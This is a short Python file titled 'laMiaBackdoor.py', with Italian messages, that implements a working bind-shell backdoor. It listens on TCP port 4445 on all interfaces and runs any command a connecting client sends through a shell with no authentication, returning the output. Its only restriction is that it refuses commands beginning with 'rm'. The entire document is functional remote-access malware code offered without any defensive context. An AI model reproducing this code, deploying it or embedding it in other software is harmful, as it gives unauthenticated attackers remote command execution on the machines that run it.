laMiaBackdoor.py

import socket as so
import os
import subprocess

SRV_ADDR = ""
SRV_PORT = 4445
s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
print("Sto attendendo una connessione...")
connection, address = s.accept()
ip_client, porta_client = address
print(f"Ho stabilito una connessione con {ip_client} sulla porta {porta_client} ")
percorso_partenza = os.getcwd() 
while True:
    prompt = "["+percorso_partenza + "]$ "
    connection.sendall(prompt.encode("utf-8"))
    data = connection.recv(1024)
    if not data: break
    comando = data.decode("utf-8")
    result = ""
    if (comando.startswith('cd')):
        os.chdir(comando.replace("cd ","").replace('\n', ''))
        percorso_partenza = os.getcwd()
    elif (comando.startswith('rm')):
        result = "Ci hai provato!"
    else:
        res = subprocess.run(comando,cwd=percorso_partenza,shell=True, capture_output=True, text=True)
        result = res.stdout
        if(res.stderr): result = f"{result}\n{res.stderr}"
    result = result + "\n"
    connection.sendall(result.encode("utf-8"))
connection.close()